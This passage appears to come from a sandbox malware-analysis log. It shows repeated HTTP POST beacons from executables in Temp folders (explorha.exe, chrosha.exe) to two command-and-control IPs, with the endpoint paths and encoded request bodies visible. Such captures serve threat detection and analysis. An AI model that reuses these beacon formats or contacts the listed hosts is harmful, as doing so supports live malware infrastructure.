Apr 19, 2024 03:34:28.563512087 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.5	50832	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:28.798957109 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:29.040250063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.5	50833	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:28.807218075 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:29.054137945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.5	50834	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:29.297972918 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:29.554735899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.5	50835	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:29.417376995 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:29.664119005 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.5	50837	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:29.913275003 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:30.163511992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.5	50836	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:29.920051098 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:30.170856953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.5	50838	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:30.426843882 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:30.682074070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.5	50839	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:30.525902033 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:30.774481058 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.5	50840	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:31.024622917 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:31.274348974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.5	50841	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:31.043504953 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:31.295036077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.5	50842	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:31.547379971 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:31.799392939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.5	50843	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:31.635654926 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:31.885045052 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.5	50844	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:32.146002054 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:32.403027058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.5	50846	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:32.176044941 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:32.424511909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.5	50847	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:32.750264883 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:32.989425898 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.5	50849	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:32.803952932 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:33.051019907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.5	50850	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:33.235330105 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:33.482317924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.5	50851	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:33.415332079 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:33.662297964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.5	50852	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:33.834254980 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:34.079785109 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.5	50853	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:33.913750887 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:34.164621115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.5	50854	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:34.330091000 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:34.578963041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.5	50855	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:34.522779942 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:34.766560078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
